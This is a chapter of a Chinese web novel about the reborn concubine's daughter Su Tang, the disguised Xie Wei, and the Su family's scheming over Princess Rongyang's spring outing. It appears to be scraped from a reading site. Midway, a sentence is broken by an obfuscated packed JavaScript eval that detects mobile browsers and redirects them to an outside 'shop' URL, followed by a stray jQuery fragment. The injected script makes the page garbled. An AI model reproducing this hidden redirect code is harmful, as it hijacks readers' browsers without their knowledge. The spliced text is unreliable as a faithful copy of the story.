苏棠病了一些时日,虽然风寒好了,但是身体落下的病根,总是让她不舒坦,身体乏力。
她又开始总做噩梦,长时间的卧床睡眠,甚至让她意识朦胧。
半夜,她的嗓子干痒得厉害。迷迷糊糊间,她也记不住自己是在梦里还是醒了。
仿佛又回到了临死前的那一夜,其实那时候她就已经被关了许久了,分不清白日黑夜……她自己也记不住到底是关了多久。下人不在意她的生死,想起来或许才会给她一顿吃食,一壶凉水。
她想过自己是饿死或者渴死,却没想过是被烧死。
口渴得厉害,她甚至想起身,去门口,卑微的拍打着房门,求外面的下人给自己一口水喝。
“我渴,求…求你给我水。”她有些沙哑的嗓音中,带着一丝软糯。
她似乎感觉到床前站着一个高大的身影,片刻,一个茶杯递到了她面前。
她接过,急促的灌了一大口,险些让自己呛到了。
咦,眼前的人怎么如此眼熟呢?
苏棠迷糊的瞪大眼睛,“谢……秦墨。”不,这不是谢巍,是卑微小马奴秦墨。
“谢我给你倒水?”谢巍看她迷糊的样子,像是还在梦中,觉得有些好笑。
“是你给我倒水?”
“二娘子要如何谢我?”难得的,他起了逗弄的心思。
“你是坏人……也是好人。”
“噢,怎么说?”谢巍低头看向坐在榻上的苏棠。
因为生病,房内还烧着炭盆驱寒。她一身柔软的藕荷色寝衣,柔软贴身,把她稍显清瘦纤细的曲线展露无遗,脸颊带着一丝热气的潮红,显得有些少女的稚气和娇柔。
“你玩弄人心,把人当棋子,坏人。”苏棠嘟囔,“可是你也是好人,你把那些大坏蛋都杀了。”
皇家没有一个好东西,你最后把他们都杀光了。结局是你称帝了,而我是为你铺路的一颗小石子。
曾经的我进了睿王府,被苏玥忽悠,要为苏家传递王府内的消息,助父亲和兄长在朝中站得更高。自古娘家才是出嫁女子的坚实后盾,她信了,也做了。
换来的是苏玥利用她,屡坏睿王好事,给谢巍助力。她被睿王发现以往所做之事,迎来她的是地狱般的黑暗日子。
谢巍试探问:“你怎么知道?”
原本带着一丝笑意的眸子,顿时收起来,换上冷冽的神色。
他在苏家从未做过其他出格的事,而苏棠口中却能说出这些话来。
然而苏棠却没再说什么,却是像松了口气一般,“我嘴笨,我不会再记你的仇,但是你不能再对我做坏事。我们两清吧!”
说罢,她就翻身躺下,给自己盖好被子。
***
再过不久就要到上巳节了,又称女儿节。
那日女子们都喜结伴出游踏青,这个时候冬日的银装素裹褪去,是春日万物复苏,春暖花开的时节。
今年荣阳长公主以女儿节为由,组了个踏青宴,在皇家城郊的御园。那里地域广阔,有皇家马场以及大型的马球场地,还有巨大的百花园,更饲养有各地以及外邦使臣进贡的奇珍异兽。
虽然御园每个季度都会开放,并且举办蹴鞠、马球等大赛事,但是举办宴会什么的还是极少数。可见这次踏青宴能在御园举办,荣阳长公主的面子有多大。
荣阳长公主是昭和帝如今还唯一在世的皇妹,荣阳的生母只是先帝的一个小小嫔妃,母女不得宠,从前地位不显。自昭阳大长公主去世后,荣阳和继后崔氏交好,昭和帝又有意亲近唯一的妹妹,这才地位显赫起来。
只是苏家怎么都没想到,荣阳长公主的帖子会送到安宁伯府来。
荣阳喜好奢靡,时常在上京举办各种诗词歌赋宴会,备受贵族青睐,但是从来没送过帖子给苏家。
林氏收到帖子,举棋不定,晚上苏益昌下衙回来,林氏就告知了此事。
苏益昌没有直接回林氏,而是翌日一早寻了母亲苏老夫人商议此事。
他自小虽不与母亲亲近,但是母亲的智慧,他从小就听父亲提及过,若不是女儿身,以母亲的智谋,早就在朝中封侯拜相了。
所以遇事不明,他想到的都是先问问母亲。
苏益昌:“荣阳长公主素来和崔皇后交好,又是宁王一派,府中幕僚不少,皆为宁王所用。此次送帖子来,必然是存了和苏家交好的意思,只是……”
“既然荣阳长公主都下了帖子邀请府中年轻女眷,那就去,有什么可想的。”苏老夫人眼神漫不经心的低垂,盘着手里的小叶紫檀珠手串。
“实在是容不得儿子多想。”苏益昌皱了皱眉,“之前宁王以及崔皇后婉拒过苏家女。”
“婉拒?为何婉拒?你有没有想过?”这会苏老夫人才抬头看向自己的好大儿,“糖糖不过是伯府庶女,哪怕是苏玥这个嫡女放到皇家面前都是不够看的,你和太后居然妄想皇子侧妃的位置。哪怕是皇室选侍妾,也是极有讲究的,所以你这才叫旁人嘲笑异想天开,恬不知耻。”
苏益昌老脸一红,不敢说话。
“而且帝王最忌讳的是什么?墙头草,左右逢源。你把糖糖送宁王,宁王不收,又送睿王?糖糖她不是货物,而两个皇子王爷也不是街市大白菜,随你挑挑拣拣。你什么东西敢如此行事,犯了这样的大忌还不自知,所以我才说你和太后犯蠢。”
“儿子想延续苏家荣光,太后亦是如此。儿承认之前行事确有欠妥……但是我们苏家一直式微,在朝中也没有建树,难得大姐走到太后这个位置上,哪怕是运气也好,难道就不能乘风起势?”
苏益昌是不服的:“儿子这样就算了,自知并无大智慧也无才学。可栋儿不是啊,我儿聪慧优秀,我作为父亲也希望把他托举起来。”
“母亲当知世家培养出的杰出子弟,占朝堂半数之多,苏家虽不是寒门,却不过是中庸的家世。所谓比上不足比下有余,处境尴尬。若不力争上游,两代消亡。”
苏老夫人叹息,她知道每个人有每个人的立场,大儿子有此想法也没有错,只是做法拙劣下作。
“栋儿也是我的孙子,他若有真才实学,只要努力上进总会得到机会的。如今正是朝中空缺,官家用人之际。靠女人去力争上游,得到的助力不过是昙花一现。况且糖糖的性格,也不适合去为你父子二人谋权夺利,更不是通往权柄之路的那把登天梯。”
苏老夫人又想起苏棠身体一事,她从宫中那次落水后,身体就坏了。可见这富贵之路并不好走,如今不过只是有想要踏入门槛的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275208|198206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
念头,便遭受了如此多的苦难,那要是往后呢?
皇家这条路可比那些深宅大院的路难走百倍。
母亲的一番话让苏益昌意识到,之前的想法确实异想天开。可是如今荣阳长公主递来的帖子,让他又蠢蠢欲动了起来。
“那母亲认为我们当下应当如何?”
“去,自然要去,大大方方去!”
“这踏青宴,明眼人都能看出来,荣阳长公主是为了帮皇后掌眼宁王妃。”所以也难怪苏益昌有想法。
“既然邀请的都是适龄女子。那就让玥儿,糖糖还有老四苏梨一起去。三姐妹相互照应,不管荣阳长公主送帖子是何种意思,切忌攀附即可。”
离开净心堂,苏益昌就去了林氏那,让林氏为三个女儿打点行头,每人再准备两身骑装,切不可失了苏家的面子。
期间,大家都在等着春闱放榜。
苏棠身子好了以后,就觉得骨头都躺酥了,她逐一向长辈请安,以告慰这些时日来的关心。
随后便记起了,她要向苏洛风讨教语言里头的学问。
去讨教,自然是要带礼物的。于是她准备做苏洛风最喜欢的糕点,一种春日里才独有的糕点,用极嫩的春笋丁拌入山茶油蒸制,叫春笋茶油糕。
做这个糕点,需提前一日吩咐厨房采买新鲜的春笋。若是以前苏棠跟厨房提这些要求,自然是没人搭理的……
自从苏老夫人回来以后,府中下人都知道,嫡女三娘子有主母林氏护着,而苏老夫人却很宠爱庶出的二娘子。
如今二娘子提这点小要求,自然是要好好的办妥贴。
苏棠看过厨房采购的食材,都挺不错的,着手做了春笋茶油糕。她虽然不会做正经的膳食菜品,但是在做点心这块还是有些能力的,幼时喜爱甜食,故而自己琢磨着,学会了做不少糕点。
等她提着新鲜出笼的糕点,就想去找苏洛风。
不曾想在路上路过一块假山时,意外听到了苏玥的声音。
“秦墨,这是徐记最出名的紫苏桂花茶糕,你快尝尝!”苏玥提着一盒精致包装的糕点,一脸笑意看着对方。
谢巍垂着淡淡的眼眸:“谢过三娘子,只是小人不爱吃甜食。”
“这个不怎么甜的,带着茶香,也不会腻。这可是我最喜欢的糕点。”
“不必了。”
“尝尝嘛,我可是让人排了好久队才买得到的。”
“那小人谢过三娘子。”谢巍压抑着心底的烦躁,没有再和她推辞,接过了糕点盒。
这大半个月来,苏玥总打着补偿他的旗号,隔三差五送东西给他,吃的,用的。起初他倒也不拒绝,还借此观察她,最后发现她似乎并没有易容的痕迹。
那么怀疑的方向只剩下一个了,一体双魂,但是却无从考证。
他还想说什么,却忽然警觉到有人,他只是微微侧头,便发现了假山那头露出的一抹裙摆,青碧色缠枝纹缎面。
苏棠没想到能遇到这两人,一瞬间吓得不敢动了。自己要是走出去,说怎么那么巧,怕是要尴尬,所以她只好停住脚步。
等那头苏玥又叽叽喳喳说了几句什么,这才离开。
她想等着谢巍也走掉再走出来,却不知何时谢巍已经走到了她身后。